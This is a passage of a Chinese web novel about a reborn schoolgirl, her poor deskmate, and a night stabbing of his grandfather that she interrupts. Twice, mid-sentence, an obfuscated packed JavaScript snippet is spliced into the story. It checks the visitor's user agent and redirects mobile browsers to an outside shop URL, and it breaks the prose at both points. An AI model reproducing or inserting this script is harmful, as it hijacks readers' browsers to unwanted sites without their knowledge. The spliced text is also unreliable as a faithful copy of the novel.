如果在之前,徐嘉轩或许还会因为这番话难受,半学期的同桌下来,徐嘉轩大概了解了百分之八十的她,他用手压平折起的书角,平静说:“因为我们熟悉了,之前不来是因为......” 他顿了顿:“因为感觉你不是很喜欢我。” 讨厌的人进家门的话,谁都会生气的,徐嘉轩小时候看人脸色看得多,这点自知之明还是有的,不会上赶着让人讨厌。 庄雪言:“.......” 她心里犯嘀咕:一个小孩子而已,心思有那么敏感吗? 再说,她表现得应该并不明显吧。 庄雪言问:“那你现在还觉得我讨厌你吗?” 徐嘉轩不知道怎么说,他偶尔能感觉到她对他的微妙恶意,但是他不在乎,也不想骗她。 徐嘉轩避重就轻说:“我喜欢你。” 所以就算庄雪言不喜欢他也没关系。 告白的话庄雪言从小到大耳朵都听出茧子了,面对还是小孩的徐嘉轩,庄雪言挑眉,略带清高道:“你懂什么是喜欢吗?” 徐嘉轩说:“只有喜欢的人才能做朋友。” 庄雪言不懂为什么徐嘉轩执要跟她做朋友,笔尖胡乱地在纸面上画出鬼画符,房间内安静下来,只剩“沙沙”的写字声,还有时不时撕作业的声音。 有人陪着做一件事专注力会高很多,两人从中午写到傍晚,庄雪言甩了甩酸痛的手,看到徐嘉轩胳膊旁放着一本作业,问:“你写完一本了?” “嗯。” 徐嘉轩没停笔,他写字速度很快,字迹也工整,庄雪言起码撕了三分之一作业才写完一本,不由得感叹天赋这个东西,真是人比人气死人。 门口传来开锁的声音,庄雪言耳朵尖,第一时间警惕起来,手忙脚乱把徐嘉轩手上的纸笔收好,可还是晚了一步,被下班回家的何芸抓到现行。 “言言!” 自己生的女儿自己清楚,何芸语气加重,问道:“你怎么能让嘉轩帮你写作业呢?!” 庄雪言委屈,扔下作业扑到何芸怀里撒娇让她别生气,徐嘉轩站起来帮着解释:“阿姨,是我主动要写的,雪言成绩好,我想借他的作业巩固知识。” 哪有人巩固知识写语文作业的,何芸明白他在帮腔呢,点了点庄雪言的脑袋,对徐嘉轩说:“阿姨今天买了菜,你留下来一起吃吧,吃完给你爷爷带一份回去,大冬天的,开火也麻烦。” 两家都是谁有事另一家就帮着解决吃饭问题,次数多了都习惯了,徐嘉轩点头,坐在桌上继续写作业,庄雪言手都写痛了,跟在何芸身后当小尾巴,刚进厨房就被赶出来。 “快去帮嘉轩辅导题目啊,人家都来借你的作业巩固知识了。” 庄雪言被噎了个哑口无言,心想:阴阳怪气这一块她还得跟何芸学。 饭桌上,何芸把辅导作业这事跟徐嘉轩说了,她语重心长,让徐嘉轩多体谅爷爷的不容易,又问:“嘉轩,你觉得自己有没有希望考进市里的高中啊?” 市里高中有很多,重点高中就一所,其他高中不提供助学服务,庄雪言上辈子没考上重点高中,去了更偏远的地方读书,回家要一两个小时。 小孩不喜欢听大人问学习上的事情,徐嘉轩没像庄雪言那样排斥,说:“我再努努力,肯定可以考上的。” 说完他悄悄看了庄雪言一眼,抿唇说:“我想跟雪言继续当同桌。” “噗——” 就他那个成绩? 庄雪言一口水呛进气管,何芸连忙给她拍背,徐嘉轩不知道他的话冲击力这么强,不好意思地道歉。 咳嗽几声,庄雪言捂住嘴唇,杏眼看向大言不惭的徐嘉轩,眼珠转了转,当着何芸的面,她不敢把真心话说出来。 何芸不知道女儿想的,她见过太多读书把自己读抑 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第一又不是那么好拿的,她被人追捧习惯了,但凡成绩落下一点,就憋着一股气往上爬,总算没走上辈子的老路,不负众望考进了重点高中的重点班,庄雪言由衷感受到:当学霸真的太不容易了。 她抓抓细长的胳膊,老头衫穿在身上,风一吹,隐隐可以看见藏在布料下纤细柔美的身体线条,乌黑的发丝贴在肩颈,显得皮肤像雪一样白。 还没出分的时候何芸就在镇上的酒馆里订了桌子,等成绩出来后又联系酒馆多加了几道菜,回来的路上碰到前来道喜的徐老头,何芸还热情地问了徐嘉轩的分数。 庄雪言知道晚上要去镇上吃饭,坐在吹风机钱百无聊赖地等何芸回来,何均张嘴学习闭嘴学习,庄雪言听的烦,去冰柜给他拿了三根雪糕,何均吃完立马去跑厕所。 没了吵嚷的背景音,庄雪言调整了姿势,盘腿坐在风扇前。 屋外传来模糊的说话声,大概是何芸回来了,庄雪言穿上鞋子开门,何芸跟她打了声招呼,身后跟着穿白色短袖的徐嘉轩。 庄雪言侧身让他们进去,何芸说:“嘉轩今天晚上跟我们一起去吃饭,言言,你要带什么收拾一下吧,马上出发了,你舅舅呢?” 庄雪言指向卫生间:“在厕所。” 徐嘉轩静静站在门口,他这两年的变化可谓天翻地覆,营养跟上来,身体结实了不少,个子长得比庄雪言高了,中考前剪了个锅盖头,庄雪言还调侃过他肯定是想在考场笑死所有人,然后就没人跟他竞争了。 何芸没多少要收拾的东西,他们今天出去都得靠何均的小车,庄雪言想到何均跑厕所的样子,心虚地摸摸鼻尖,转眼看到徐嘉轩头上的锅盖,“噗嗤”一下笑了。 明明考试那段时间已经笑免疫了...... 庄雪言把这归咎于太久没见所以免疫下降,趁着等何均的功夫,庄雪言凑到徐嘉轩身边悄悄问:“你考了多少分?” 明明是正常距离,徐嘉轩却不敢看她的脸,低着脑袋,又看到她身上单薄的老头衫,女孩子的肌肤柔软细腻,微微鼓起的曲线......从腰间凹下去。 徐嘉轩视线不知道该放在哪,妹妹头盖住了发红的耳尖,他含糊不清说:“能上高中。” 庄雪言承认自己很像何均,她重申:“我是说分数,你能上重点班吗?我能上哦~” 徐嘉轩点头:“可以上,我们下学期能继续当同桌吗?” “看情况吧。” 庄雪言干脆的像个负心汉。 初三的时候就不流行分班了,元秀秀一直没机会跟她在一起,听说这次她考的也很不错,能上重点班,苦等三年,庄雪言总不能辜负她吧。 她说的是真心话,徐嘉轩有些失落,不过很快扬起嘴角,能在一个班上他就很满足了。 徐嘉轩的五官轮廓并不是顶级帅的,放在一众帅哥中并不显眼,放眼望去第一眼看到的绝对是他,身上那股气质太吸引人了。 徐嘉轩自己察觉不到这股气质,庄雪言也没注意,她明明记得很清楚,上辈子徐嘉轩没有继续读高中,大街小巷传遍的事情,为什么这辈子不一样呢? 还是说....会有什么变故? 17. chapter17 四个人吃完饭已经是晚上了,徐嘉轩带了一份给徐老头,几个人各回各家。 庄雪言暑假没事,又琢磨要不要重操当家教的旧业,四处问了几遍,现在的学生大多被辅导机构包揽了,没人愿意花钱请一对一辅导,毕竟辅导机构没效果还能退钱。 行业竞争真卷,庄雪言感叹着,赶早去老年公园逛了一圈,红姐几十年如一日扎根在牌桌上,庄雪言凑在边上转了一圈,被眼尖的红姐拉住。 “雪言啊,怎么好几个月没来了,大家都想你。” 两年前从她身上捞了四千块钱,到现在讲话都甜滋滋的,庄雪言没拆穿她,坐在她身边佯装苦恼:“红姐,我最近遇到点困难,你有没有什么赚钱的法子?” “你个小姑娘还操心挣钱啊?” 调侃归调侃,红姐门路不少,跟她讲悄悄话:“你要挣钱,我还真有法子。” “哎哟红姐,你别捉弄我了!” 庄雪言拉着她的手,声音嗲嗲地说:“等我手上有了钱再跟你打麻将行不行?” “哈哈,不逗你了,姐告诉你,镇上不是有收药材的嘛,你去山上夹些蜈蚣来卖,活的六块钱一条,晒干的八块钱一条。” 庄雪言几百年没卖过药材了,不知道市场行情居然这么高,喜气洋洋地拜别红姐准备去自主创业,转身又被拉住。 “雪言,你知不知道在哪找蜈蚣更好找?” 她表情娇俏,一看就是有小道消息,庄雪言又捏肩又说好话,哄得红姐一直捂嘴笑。 “告诉我把美丽可爱的红姐,等我卖了钱跟你三七分。” “谁要小孩的钱。”好歹她有这份心,红姐心里暖暖的,说:“在东街老村头那,有人专门养殖蜈蚣,你可以去周围碰碰运气,那里蜈蚣多。” 庄雪言被蜈蚣咬过,心里很畏惧,还好是一条六块钱,少一块她都撂挑子不干了。 怕何芸担心,庄雪言特地跟她说了一声,村里的人抬头不见低头见的,都认识,出门不怕被人贩子拐走。 就算这样,何芸还是担心,庄雪言心想早知道不说了,把包里准备的小刀防狼器报警仪一股脑掏出来,央求了半天,何芸仍旧固持己见,眼看劝不动,庄雪言暂且妥协了。 等到晚上,四周安静的只剩蝉鸣声,庄雪言睁开眼,从草垛下找出早已准备好的装备出发。 东街的老村头离得不远,骑自行车十来分钟到,经过的路上没什么人,傍晚的时候下了场小雨,气候闷闷的,适合找蜈蚣。 庄雪言以为就她知道赚钱的法子,心里美滋滋的,到了地方后,拿出火钳仔细在草丛里寻找。 养殖大棚不是全方位覆盖的,雨后溜出来的蜈蚣很多,走两三步就有一条,庄雪言眼里都是钱,忍着恐惧把蜈蚣装到桶里,没一会儿就多出百来块钱。 走着走着,庄雪言看到前方有不少手电的灯打过来,心虚地躲起来,在暗处观察了半天,才发现对方也是趁着夜色来找蜈蚣的。 那还说什么,庄雪言重新打开手电,光线照出前方的人影,庄雪言吓了一跳,对方打开手电她才认出来,原来是徐嘉轩。 “你吓死我了。”庄雪言捂着心口,无语道:“干嘛不开灯啊?” 徐嘉轩左手提着白色塑料桶,右手拿着长长的火钳,说:“我看你关灯了我就关了。” 蔬菜叶子下面,几条蜈蚣爬来爬去,庄雪言用火钳挑开叶子,发现桶底都是密密麻麻的蜈蚣,看起来他已经找了很久了。 庄雪言心底有些不高兴,问:“你什么时候开始在这里捉蜈蚣的?” 知道这种好事居然不告诉她。 徐嘉轩说:“今天才来,我前些天在卖废品。” 他现在已经能脸不红心不跳说出自己卖废品的事实了,庄雪言心里的不快消了大半,没跟他计较下去。 “行吧。” 来这里的人很多,可能惊动了老板,饲养大棚来了个大翻新,蜈蚣没那么好找,庄雪言渐渐不来了,去别处转悠。 没有对比就没有伤害,之前找蜈蚣跟捡钱一样,现在野生蜈蚣几个小时都难发现一条,实在不划算。 徐老头心里也有一杆秤,没让徐嘉轩来了。 红利期只有几天,庄雪言赶上了,计算下来卖的钱不少,她把钱都交给何芸,何芸知道她偷偷去捡蜈蚣了,劝不了,让她自己保管自己挣的钱,以后上高中后当生活费。 庄雪言迫不及待打开自己的小金库,里面零零散散存了五千块钱,过了几天,天气预报说晚上有大雨,下雨时蜈蚣往往最活泼,庄雪言灵机一动,买好雨衣提前跑到老村头蹲点。 她坐在草堆背面,关上手电,雨很快就落下来,空气中带着泥土卷起来的味道,眼看地面湿润了,庄雪言站起来,还没来得及从草垛出去,猝不及防听到一声惨叫。 心跳慢了半拍,庄雪言站在不容易被发现的位置悄悄探头看去,雨用力砸在衣服上,模糊视线,她隐约看到拉扯的两个人,过了会儿,其中一个高大的人抬起手,闪着白光的刀子捅进对方身体。 恐惧和救人的底线裹挟着庄雪言,她不由得后退两步,血红的雨水顺着刀面流下来,最后一刀将要砸进心脏,一双素白的手紧紧握住刀面。 看到有人在,对方身形顿住一瞬,庄雪言心跳快得差点吐出来,她把桶里仅剩的几条蜈蚣泼向他,痛苦的呼叫在雨夜响起。 心仿佛在耳朵里跳动,庄雪言胸腔呼吸起伏很大,手表上的紧急呼救自动报警,她捡起他掉在地上的刀,手抖得不像话。 计划全被打乱,男人手上什么武器都没有,趁着夜色慌乱逃走。 肾上腺素褪去的一瞬,剧烈的疼痛从手心传出来,雨打进眼睛又流出来,落到地上是温热的,分不清是泪还是别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535863|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 庄雪言脱力地坐在地上,大口大口呼吸怎么都不够的氧气,好久,耳边传来“滴呜滴呜”的警笛声,她才缓过神,同时,也看清了躺在脚边鲜血横流的人。 是徐老头。 记忆从这里开始断片,她记不清之后的事情,再次睁眼,看到的是坐在病床边泪如雨下的何芸。 “妈妈......” 庄雪言庆幸自己没死,她身体素质不错,只受了一点惊吓,淋了大半天雨也没发烧,吃完早饭就恢复的差不多了。 左手包扎过了,只有落在刀面的半个掌心有伤,庄雪言不敢乱动,想起最后一眼,她握住何芸的手,焦急询问:“徐爷爷没事吧?” 何芸听到这,哭的更伤心了,庄雪言心道不好,追问:“怎么了妈妈?人有没有事情啊?!” “医生说......说......”何芸声音断断续续:“人还在抢救室,不知道能不能救回来,说致命伤很多.....言言,妈妈要谢谢你,你不给徐爷爷挡那一刀,徐爷爷就真的没了......” 家里没钱,唯一的男丁还常年在外不回来,何芸生了庄雪言后日子更难过,婴儿的衣服裤子徐老头从废品站洗干净拿来的,最困难的时候奶粉钱都是徐老头给的。 两人虽然是邻居,但心里早就是一家人了,更何况徐嘉轩只有这一个亲人,要是没了,以后不就成孤儿了吗? 何芸不知道该心疼谁,她恨老天的不公平,给努力生活的人设置一个接一个苦难,庄雪言眼皮跳了跳,掀开被子下床,何芸拉着她问要去哪。 庄雪言说:“去看徐爷爷。” 重症监护室外不允许外人进去,隔着透明窗户,庄雪言看到浑身插满管子的许老头,徐嘉轩坐在长椅上,脸色比纸还白,庄雪言叫了他好几声都没反应。 徐老头出事的地方不好,老村头的基本设施不完善,更别说监控这种高级东西。 当时情况太糟,庄雪言不记得凶手的样子,也许只有徐老头看清了,可无济于事,镇上警察办案速度感人,案子到最后估计会被封道档案袋里珍藏十年,然后成为无解悬案之一。 “徐嘉轩。” 庄雪言走到他面前大声喊他的名字,徐嘉轩肩膀抖了抖,抬头,眼白里遍布红血丝。 他的表情用心如死灰来描述更合适,大脑跟肌肉断了联系,连哭都做不到,触及庄雪言用绑带绑住的右手,徐嘉轩身体开始颤抖,随后难以抑制地大口呼吸。 何芸看不下去,背过身擦眼泪。 上辈子庄雪言失去母亲的时候也很痛,心痛,她哭不出来,唯一的希望是有一只温暖的手能够拉住她,把她拉出痛苦的汪洋。 庄雪言也这么做了。 她用紧紧握住徐嘉轩战栗的右手,对方回握的很用力,好像只有痛和高于身体的温度才能让他意识到自己还活着。 18. chapter18 徐老头逢年过节不见有亲戚来往,出了事,一群自称要好的亲戚上赶着来医院照看,抓着徐嘉轩的手询问情况。 他们言语中的担心甚至没有徐嘉轩多,围着半大的孩子叙旧半天,最后暴露目的,开始暗戳戳询问人走后钱怎么分配的问题。 庄雪言伤的不重,在医院待了两天就走了,时不时代替何芸来上一两次看看徐老头的情况,恰好碰到徐嘉轩被一群亲戚围着的场面。 徐老头前几天从重症监护室转出来了,人群堵在门口,谁都不进去,徐嘉轩记性好,知道来的确实是早些时候联系的亲戚,他两天没合眼了,精神状态欠佳,疲惫地应付他们丢来的问题。 问的最多的还是钱的事,庄雪言个子小,挤了半天连门把手都没摸到,还被人暴力推搡出去,当即恼了。 饭盒敲响的声音打乱大人们的说话节奏,他们纷纷朝庄雪言看过来,有人不满地问:“干嘛呢?” “干嘛?” 庄雪言振振有声地反问,她伸手把围在正中心的徐嘉轩拉出来,谁看她她就指谁,语气不留情面。 “一群老不死的真有脸围在人家病房前提钱的事!怎么这钱拿着你们安心?过年没看到人影,现在来装什么好心?这么缺钱要不要我提前给你们烧点纸钱下去?!” “你!” 庄雪言怼上去:“你什么你?” 站在边上的男人说:“你少在这伶牙俐齿了,我看你也想来分一杯羹吧。” “不是的!”听他们诋毁庄雪言,徐嘉轩声音微怒:“爷爷还活着!如果你们非要现在说这些,那请回吧,这里不欢迎你们!” 一个女人焦急解释:“小徐啊.....我们是真心实意担心你爷爷,我们不是这样的人.....” 庄雪言嗤笑一声,夹着嗓音学她的模样假心假意说:“我们不是这样的人~” “这轮得到你说话吗?你是徐家哪个亲戚?!” 庄雪言双手环抱:“八竿子打不着的人都能自称亲戚来要钱了,我作为徐爷爷的邻居怎么不能来?起码我是真心实意的,比那些不知道安的什么心的妖魔鬼怪好,等我改天找个道士过来做法,谁拿钱谁倒八辈子血霉,再给你们一一送过去。” “你!” 庄雪言充分发挥自己牙尖嘴利的优势,把对面的战五渣骂的狗血淋头,顺便还气哭了几个脸皮薄的女人,眼看钱没要到还惹了一身骚,几个亲戚晦气地走了。 庄雪言骂完脸不红心不跳,心情极为舒畅,手放在保温盒上试探温度,还热着,递给徐嘉轩。 “我妈做的,你不会还没吃饭吧?” 徐嘉轩摇头:“我去医院食堂吃了。” 医院汤汤水水的菜怎么吃得饱,她问:“徐爷爷怎么样,醒了没?” 徐嘉轩还是摇头,庄雪言安慰道:“肯定没事的,不都从重症病房转出来了,我——” 徐嘉轩看着她,眼底带着庄雪言看不懂的情绪,突然,他伸手紧紧将庄雪言抱住。 庄雪言后面的话卡在嗓子里,想推推不开,才发现之前需要低头去看的小孩现在比自己高出小半个头了。 “我......” 他嗓音沙哑,泪和话同时落下来:“谢谢你。” 热天穿的单薄,滚烫的泪珠渗透衣服,烫的庄雪言一个激灵,她抓住徐嘉轩的胳膊,心里隐约觉得哪里不对。 “谢什么,换做是谁我都会这样做的。” “嗯。”他松开庄雪言,说:“走廊太吵了,你累的话可以去病房里坐着。” 要说累肯定是他更累,庄雪言是替何芸来照看的,徐老头卡里的医药费一场手术就没了,剩下的钱都是何芸偷偷补齐的,徐嘉轩不知道。 何芸把两个孩子都瞒着,都是在同一间一屋檐下,庄雪言自然能觉察出母亲的秘密,秘密要保守,她没对徐嘉轩说免得他背上更多负担。 她跟何芸的想法是一样的,哪怕带着前世的记忆来看,徐嘉轩都无可否认的很惨。 庄雪言说:“你回去睡一会儿吧,我来照看徐爷爷。” 哪怕疲惫到极点,脑子也是清醒的,徐嘉轩说:“我睡不着。” “趴一会儿也好呀。” 庄雪言想到医院有个专门的休息室,强制把徐嘉轩拉到里面,说:“你现在可以休息两个小时,我去病房守着徐爷爷你应该放心了吧?” 徐嘉轩明白自己再不休息病倒是迟早的事,他乖乖趴在桌上,闭上眼的时候才会显露出小孩子的柔软。 病房不大,是三人间,两个病床间用蓝色窗帘隔开。 几天过去,徐老头还是没有动静,庄雪言不知道他清醒过没有,床头放着何芸买的果篮,庄雪言从里面拿了个梨子修皮。 苍老的皮肤下血管明显,葡萄糖旁边挂着维持生命的营养液。 梨子在手指间褪去外皮,庄雪言收好垃圾,抬眼的时候看见许老头手指动了动。 是个好兆头。 庄雪言激动地站起来,想叫医生过来看看,手动了一下后再没动静,她静止了一会儿,怀疑是不是自己的错觉。 心情来得也快去得也快,庄雪言重新坐下去,任凭她再怎么不喜欢徐嘉轩,对徐爷爷她从来是感激的,看到一把年纪的人躺在病床上遭受折磨,心里不是滋味。 她估摸着徐嘉轩上辈子不去上学是因为徐老头的事情,庆幸自己改变了可悲的结局,正出神着,庄雪言听到微弱的声音在叫自己。 她眼珠转了转,看到睁开眼睛的徐老头,连忙俯身靠近。 “徐爷爷。” 徐老头说话艰难,他忧心忡忡地看着庄雪言,断断续续说:“卡...卡里,六万块....密码是嘉轩的生...生日,留着,上学。” 这句话耗尽了他所有力气,吊着的一口气散了,立马昏死过去,庄雪言差点吓跪了,把手放在许老头鼻子下确认呼吸后心跳才恢复正常。 徐嘉轩知道密码,卡里的钱全充公了,现在医药费都是个问题哪还有钱给他交学费? 庄雪言努力回忆上辈子发生的事情,中考后徐嘉轩去哪了来着? 她没有跟徐嘉轩共同的朋友,怎么知道他的行踪,庄雪言眉心烦躁,起身打算去问问徐嘉轩什么想法,脑子里突然冒出一段对话。 “喂,李顺,你初中不是挺牛逼的嘛,怎么没考上市一中?” 不耐烦的声音响起:“老子把作业给你抄的时候没见你问这个,姓徐的不在,我抄谁的去?” “那徐嘉轩呢,他考上一中了吗?” “他?他没上学了,好像去外地打工了。” 好像是开学后她无意中听到的,当时她一点都不关注徐嘉轩的事情,所以没放在心上,现在想来,她上高中生活费缩减的估计是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537759|203518||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为何芸交完医药费没钱了。 庄雪言心里装着事情,坐到徐嘉轩对面的椅子上。 十五六岁的少年趴在桌上,因为几天的劳累沉沉睡过去,庄雪言注意到他的手指很长,她伸出手对比了一下,遗憾地得出她的手只有他三分之二的结论。 庄雪言想:这双手十六岁之前收过废品捡过瓶子,十六岁之后又会在某个黑厂里拿着锄头,或者堆叠砖瓦吗? 这对一个孩子来说,未免太残酷了。 她静静坐着,徐嘉轩累的狠了,熟睡的时间比她预想的长,期间庄雪言在病房和休息室两头跑,等徐嘉轩起来的时候已经是傍晚了。 何芸忙工作,给女儿带饭后匆匆离开,徐嘉轩似乎做了个噩梦,满头大汗睁开眼,看到坐在正对面小口吃饭的庄雪言。 她没什么胃口所以吃的极其斯文,见他醒了,庄雪言放下筷子,语气复杂地问:“你之后打算怎么做?” 徐嘉轩脑子懵懵的,重复她的话:“什么怎么做?” “你打算出门打工吗?” 庄雪言一语中的,徐嘉轩瞳孔放大一瞬,随后恢复正常,偏头不去看她的眼睛,否认:“不是。” “你买了南下的票。” 徐嘉轩猛地转头,他是联系了认识的人买票,但他谁都没说过。 庄雪言不跟他说她是怎么知道了,盯着他的眼睛想看清楚他内心最真实的想法。 她问:“你还想上学吗?” 徐嘉轩身体颤了颤,没说话。 庄雪言告诉他:“刚刚徐爷爷醒了,他跟我说想让你去上学。” 徐嘉轩摇头,笑容苦涩:“我成绩不好,不上学了。” “说谎的人要吞针哦。” “......” 徐嘉轩垂头没说话,休息室里坐着的大多是重病患者的家属,气氛沉闷而死寂,低语声时不时响起,庄雪言心不在焉吃饭,余光看到徐嘉轩大颗大颗往下掉的眼泪。 “我想.....”徐嘉轩压抑哭声,努力吐字清楚:“我想上学,我想跟你,继续跟你做同桌.....可是,可是......” 可是他没有钱,一点钱都没有了,上学对他来说就是奢望,为什么....为什么老天要对他那么残忍,徐嘉轩顾不上丢脸,伸手擦眼泪,可泪水怎么都擦不干净。 庄雪言知道他没说出的原因,她打开挎包,在里面翻出一个厚厚的信封放在桌上。 她不知道徐嘉轩的成绩能不能免学费,所以把仅存的六千块钱都给了他。 “徐爷爷的医药费你不用担心,都付清了,剩下的看你。” 隔着模糊的泪水看到黄色信封,徐嘉轩几乎喘不过气来,接受和拒绝在脑子里做斗争,庄雪言问: “如果我告诉你,你放弃读书以后能成为大老板,但是继续读书未来是无法预测的,你还愿意吗?” 她知道徐嘉轩很难选择,把钱往徐嘉轩面前推了推,留下一句“我去看徐爷爷”就离开了。 徐嘉轩泪眼模糊,怔愣地看着桌上的钱,犹豫着该不该拿。 如果不上学,外出打工的钱可以解救家里的燃眉之急,可人都是自私的,过了很久很久,休息室的人陆陆续续离开了,徐嘉轩才把手放在信封上。 他抱着信封,像溺水的人抱紧救命稻草,急切的,不断呼喊她的名字让自己安心一点。